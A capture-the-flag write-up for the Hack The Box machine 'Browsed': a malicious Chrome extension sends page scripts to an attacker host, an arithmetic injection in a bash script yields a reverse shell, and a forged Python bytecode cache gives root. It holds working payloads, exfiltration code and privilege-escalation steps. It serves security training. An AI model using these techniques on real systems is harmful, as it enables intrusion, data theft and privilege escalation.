HTB Browsed Writeup: Chrome Extension Upload to RCE and Python Privilege Escalation

$ nmap -sC -sV 10.129.244.79 --top-ports=5000
<SNIP>
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  1. The http-title shows us the name Browsed, we can add it to our hosts file for the proper resolution:
$ echo 10.129.244.79 browsed.htb >> /etc/hosts
  1. If we open the page in a browser, we can immediately see that the website provides an upload functionality:
  1. Moreover, the webpage also contains a Samples section, which presumably includes examples of files that can be uploaded:
{
  "manifest_version": 3,
  "name": "Font Switcher",
  "version": "2.0.0",
  "description": "Choose a font to apply to all websites!",
  "permissions": [
    "storage",
    "scripting"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "Choose your font"
  },
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "content.js"
      ],
      "run_at": "document_idle"
    }
  ]
}
manifest.json:

{
  "manifest_version": 3,
  "name": "HTB Test",
  "version": "1.0",
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"]
    }
  ]
}

content.js:

fetch("http://<YOUR_IP>:8080/ping", { mode: "no-cors" });
  1. We can put both files into .zip folder with the next command:
$ zip malicious_extension.zip manifest.json content.js
  adding: manifest.json (deflated 29%)
  adding: content.js (deflated 2%)
  1. The next step is to start an http.server instance to check whether we can actually receive a callback from the target server:
$python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
  1. After uploading the archive we are getting a request to our http server:
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.39.156 - - [13/Jan/2026 17:19:23] code 404, message File not found
10.129.39.156 - - [13/Jan/2026 17:19:23] "GET /ping HTTP/1.1" 404 -
manifest.json:

{
  "manifest_version": 3,
  "name": "HTB Test",
  "version": "1.0",
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"]
    }
  ]
}

content.js:

[...document.querySelectorAll("script")].forEach((s, i) => {
  if (s.innerText && s.innerText.length > 0) {
    new Image().src =
      "http://<YOUR_IP>:8080/script?" +
      i + "=" + encodeURIComponent(s.innerText.slice(0, 1500));
  }
});
10.129.244.79 - - [13/Jan/2026 18:32:29] "GET /script?0=%0A%09%0A%09window.addEventListener(%27error%27%2C%20function(e)%20%7Bwindow._globalHandlerErrors%3Dwindow._globalHandlerErrors%7C%7C%5B%5D%3B%20window._globalHandlerErrors.push(e)%3B%7D)%3B%0A%09window.addEventListener(%27unhandledrejection%27%2C%20function(e)%20%7Bwindow._globalHandlerErrors%3Dwindow._globalHandlerErrors%7C%7C%5B%5D%3B%20window._globalHandlerErrors.push(e)%3B%7D)%3B%0A%09window.config%20%3D%20%7B%0A%09%09appUrl%3A%20%27http%3A%5C%2F%5C%2Fbrowsedinternals.htb%3A3000%5C%2F%27%2C%0A%09%09appSubUrl%3A%20%27%27%2C%0A%09%09assetVersionEncoded%3A%20encodeURIComponent(%271.24.5%27)%2C%20%0A%09%09assetUrlPrefix%3A%20%27%5C%2Fassets%27%2C%0A%09%09runModeIsProd%3A%20%20true%20%2C%0A%09%09customEmojis%3A%20%7B%22codeberg%22%3A%22%3Acodeberg%3A%22%2C%22git%22%3A%22%3Agit%3A%22%2C%22gitea%22%3A%22%3Agitea%3A%22%2C%22github%22%3A%22%3Agithub%3A%22%2C%22gitlab%22%3A%22%3Agitlab%3A%22%2C%22gogs%22%3A%22%3Agogs%3A%22%7D%2C%0A%09%09csrfToken%3A%20%27WCusiEOe5Nh3FA1of6vMpG1tJA06MTc3NDcwOTU1MTg2Mjc0NTQzOA%27%2C%0A%09%09pageData%3A%20%7B%7D%2C%0A%09%09notificationSettings%3A%20%7B%22EventSourceUpdateTime%22%3A10000%2C%22MaxTimeout%22%3A60000%2C%22MinTimeout%22%3A10000%2C%22TimeoutStep%22%3A10000%7D%2C%20%0A%09%09enableTimeTracking%3A%20%20true%20%2C%0A%09%09%0A%09%09mermaidMaxSourceCharacters%3A%20%2050000%20%2C%0A%09%09%0A%09%09i18n%3A%20%7B%0A%09%09%09copy_success%3A%20%22Copied!%22%2C%0A%09%09%09copy_error%3A%20%22Copy%20failed%22%2C%0A%09%09%09error_occurred%3A%20%22An%20error%20occurred%22%2C%0A%09%09%09network_error%3A%20%22Network%20error%22%2C%0A%09%09%09remove_label_str%3A%20%22Remove%20item%20%5C%22%25s%5C%22%22%2C%0A%09%09%09modal_confirm%3A%20%22Confirm%22%2C%0A%09%09%09modal_cancel%3A%20%22Cancel%22%2C%0A%09%09%09more_items%3A%20%22More%20items%22%2C%0A%09%09%7D%2C%0A%09%7D%3B%0A%09%0A%09window.config.pageData%20%3D%20window.config.pageData%20%7C%7C%20%7B%7D%3B%0A HTTP/1.1" 404 -
	window.addEventListener('error', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
	window.addEventListener('unhandledrejection', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
	window.config = {
		appUrl: 'http:\/\/browsedinternals.htb:3000\/',
		appSubUrl: '',
		assetVersionEncoded: encodeURIComponent('1.24.5'), 
		assetUrlPrefix: '\/assets',
		runModeIsProd:  true ,
		customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
		csrfToken: 'WCusiEOe5Nh3FA1of6vMpG1tJA06MTc3NDcwOTU1MTg2Mjc0NTQzOA',
		pageData: {},
		notificationSettings: {"EventSourceUpdateTime":10000,"MaxTimeout":60000,"MinTimeout":10000,"TimeoutStep":10000}, 
		enableTimeTracking:  true ,
		
		mermaidMaxSourceCharacters:  50000 ,
		
		i18n: {
			copy_success: "Copied!",
			copy_error: "Copy failed",
			error_occurred: "An error occurred",
			network_error: "Network error",
			remove_label_str: "Remove item \"%s\"",
			modal_confirm: "Confirm",
			modal_cancel: "Cancel",
			more_items: "More items",
		},
	};
	
	window.config.pageData = window.config.pageData || {};
echo 10.129.244.79 browsedinternals.htb >> /etc/hosts
  1. If we try opening the above subdomain in a browser, we surprisingly discover that it is actually accessible over the regular port 80:
  1. After the registration we are automatically logged in. We can push explore button to look for the existing content:
HTB Browsed Writeup Gitea
  1. We can find an existing repository belonging to the user larry that contains several interesting files, including app.py, routines.sh, logs, backups and others. Reviewing the backups and logs does not seem to reveal anything particularly useful. However, when inspecting app.py, we can identify a couple of interesting parts:
<SNIP>
@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)
#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

# Vulnerable: user-controlled $1 is used in arithmetic comparison
if [[ "$1" -eq 0 ]]; then
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi
$ git clone https://github.com/symphony2colour/htb-browsed-rce && cd htb-browsed-rce
Cloning into 'htb-browsed-rce'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 17 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (17/17), 8.85 KiB | 8.85 MiB/s, done.
Resolving deltas: 100% (3/3), done
  1. Launch the script with the following syntax:
$python browsed_rce.py <YOUR_IP> <PORT>
[INFO] [+] Using IP: <YOUR_IP>
[INFO] [+] Using PORT: <PORT>
[INFO] [+] PHPSESSID: ftp3u2504gdcmcjimoatta1i3s
[INFO] [+] Starting listener on port <PORT>...
bash: cannot set terminal process group (1452): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ whoami
whoami
larry
  1. We got a reverse shell as larry, we can investigate the home directory and find the user flag:
larry@browsed:~/markdownPreview$ cd /home/larry
cd /home/larry
larry@browsed:~$ ls
ls
markdownPreview
user.txt
larry@browsed:~$ cat user.txt
cat user.txt
abfb20267<FLAG_REDACTED>2cb4be
larry@browsed:~$ sudo -l
sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py
larry@browsed:/opt/extensiontool$ ls -l
ls -l
total 16
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
stat /opt/extensiontool/extension_utils.py
  File: /opt/extensiontool/extension_utils.py
  Size: 1245      	Blocks: 8          IO Block: 4096   regular file
Device: 252,0	Inode: 8541        Links: 1
Access: (0664/-rw-rw-r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2026-01-13 12:12:28.815825773 +0000
Modify: 2025-03-23 10:56:19.000000000 +0000
Change: 2025-08-17 12:55:02.920923490 +0000
 Birth: 2025-08-17 12:55:02.920923490 +0000
  1. We have checked the file stats. We can proceed with the file creation inside of /tmp directory. The next code is used to read the root flag inside of /root folder, however you may experiment with other payloads:
larry@browsed:/tmp$ cat > /tmp/extension_utils.py <<'EOF'
import os

# PAYLOAD (runs on import)
os.system("cp /root/root.txt /tmp/root.txt && chmod 644 /tmp/root.txt")

# REQUIRED FUNCTIONS (to avoid crash)
def validate_manifest(path):
    return {"version": "1.0.0"}

def clean_temp_files(x):
    pass
EOF
  1. Next we need to PAD file to be same as original:
larry@browsed:/tmp$ while [ $(stat -c%s /tmp/extension_utils.py) -lt 1245 ]; do
  echo "# padding" >> /tmp/extension_utils.py; done

larry@browsed:/tmp$ stat /tmp/extension_utils.py
  File: /tmp/extension_utils.py
  Size: 1245      	Blocks: 8          IO Block: 4096   regular file
Device: 252,0	Inode: 393563      Links: 1
Access: (0664/-rw-rw-r--)  Uid: ( 1000/   larry)   Gid: ( 1000/   larry)
Access: 2026-01-13 12:30:03.839897940 +0000
Modify: 2026-01-13 12:31:05.896902184 +0000
Change: 2026-01-13 12:31:05.896902184 +0000
 Birth: 2026-01-13 12:30:03.839897940 +0000
larry@browsed:/tmp$ touch -r /opt/extensiontool/extension_utils.py /tmp/extension_utils.py
  1. All is left is to compile our new file and copy it to __pycache__ and launch our sudo privileged command:
larry@browsed:/tmp$ cp /tmp/__pycache__/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc

larry@browsed:/tmp$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:/opt/extensiontool/__pycache__$ ls /tmp
extension_69660a3ae17458.61038666                                                  xvfb-run.1LpnXO  xvfb-run.dlOxaU  xvfb-run.n94Xqb
extension_69660c4a119063.90453066                                                  xvfb-run.2KUsSa  xvfb-run.DmvoiJ  xvfb-run.o87Cpj
extension_utils.py                                                                 xvfb-run.5UBgDn  xvfb-run.eQaEjS  xvfb-run.OXABCc
__pycache__                                                                        xvfb-run.5uYBoU  xvfb-run.gW7vmv  xvfb-run.PlGVni
  1. You can check /tmp folder for the root flag and freely read it:
larry@browsed:/tmp$ ls
ls
extension_utils.py
__pycache__
root.txt
<SNIP>
larry@browsed:/tmp$ cat root.txt
cat root.txt
2406360fbd<FLAG_REDACTED>274bdec3d3d

Final Thougths

Overall, this box was an enjoyable challenge that required careful enumeration, attention to small details, and a good understanding of how different vulnerabilities can be chained together. Putting everything together required patience and methodical testing. It was a satisfying machine that rewarded persistence and solid analysis.